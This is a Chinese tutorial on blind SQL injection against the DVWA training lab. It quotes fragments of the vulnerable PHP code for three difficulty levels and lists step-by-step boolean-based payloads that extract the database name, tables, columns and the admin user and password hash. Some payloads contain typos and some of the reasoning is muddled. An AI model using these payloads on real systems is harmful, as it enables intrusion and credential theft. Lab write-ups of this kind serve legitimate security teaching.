盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。盲注分为三类:基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= 'User ID exists in the database.
';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= 'User ID is MISSING from the database.
';
}
}
?>
可以发现Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞
1.判断是否存在注入,注入类型
输入1,显示User ID exists in the database. (显示存在)
再输入 1’ and 1=1 # ,输出 exists
继续输入 1’ and 1=2 #,显示missing。
User ID is MISSING from the database. (显示不存在)
说明存在字符型的盲注。
2.猜数据库名
1’ and length(database())=1 #
1’ and length(database())=2 #
1’ and length(database())=3 #
…
先猜数据库名长度,看到哪个数字显示User ID exists in the database,就说明数据库名长度为多少。
1’ and length(database())=1 #,显示不存在,继续
1’ and length(database())=2 #,显示不存在,继续
1’ and length(database())=3 #,显示不存在,继续
1’ and length(database())=4 #,显示存在,说明数据库名长度为4。
已知数据库名长度,继续猜解数据库名,这里会用到二分法,有点类似枚举法。
1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)
1’ and ascii(substr(databse(),1,1))<101 #,显示存在,说明数据库名的第一个字符的ascii值小于101(小写字母e的ascii值)
1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100,(小写字母d的ascii的值)
1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值大于100,(小写字母d的ascii的值)
由此推断数据库名称的第一个字母是d,同理推断下去,可知数据库名为dvwa。
3.猜解数据库中的表名
先猜表的数量
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 #
显示不存在,说明数据表的数量不为1
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=2 #
显示存在,说明存在两个表。
接着猜解表名长度
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING,显示不存在,说明长度值小于10
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,显示存在,那么说明这个长度值在5-10之间,继续往下猜解。
然后在5,6,7,8,9里挨个去试,我这里就不截图了
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,那么说第一个表名长度为9。
然后利用二分法继续猜解第一张表的9个字母都是啥
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
直到—— 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,对应的字母为g。
同样的方法继续,分别得到其它的8个字母,为u、e、s、t、b、o、o、k,合起来为guestbook。
这是第一张表,第二张表也是如此
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97 #
一直到猜解结束,可以得出第二张表名为users。
4.猜解表中的字段名
已知两张表,guestbook和users,我们直奔users表,信息重要。
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>10 #
显示不存在,说明表中的字段数量小于10。
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>5 #
那么说这个值在5-10之间,5,6,7,8,9挨个去试
最后
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #
那说明users表存在8个字段信息。
【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…
所以接下来我们要猜解账户和密码对应的字段是什么
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user’)=1 #,输出exists
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘password’)=1 #,输出exists
所以证明了 users表中有 user和password。
5.猜表中的字段值
同样使用二分法来做,直接写最后一步了:
用户名的字段值:1’ and length(substr((select user from users limit 0,1),1))=5 #,输出exists
——说明user字段中第1个字段值的字符长度=5。
密码的字段值:1’ and length(substr((select password from users limit 0,1),1))=32 #,
——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)
然后再使用二分法猜解user字段的值:(用户名)
第一个字符是a
1’ and ascii(substr((select user from users limit 0,1),2,1))=100 #(第二个字符)
第一个字符是d
… …
最终得到结果是admin。
猜解password字段的值:(密码)
1’ and ascii(substr((select password from users limit 0,1),1,1))>100 #(第一个字符)
… …
最后得到的是32位长的md5加密的字符串,解密就可以得到密码password。
0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= 'User ID exists in the database.
';
} else {
// Feedback for end user
$html .= 'User ID is MISSING from the database.
';
}
}
?>
Medium级别的代码利用mysql_real_escape_string
函数对特殊符号进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
这一幕是否似曾相识,其实sql注入的medium级别也是这样的,原理基本相同,攻击思路也一样,利用burpsuite工具。
只不过,这次不采用布尔盲注法,采用延时盲注法,但都是二分法进行猜测。
0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= 'User ID is MISSING from the database.
';
}
}
?>
可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。真的跟前面的sql注入一样的套路啊,记得利用#进行注释。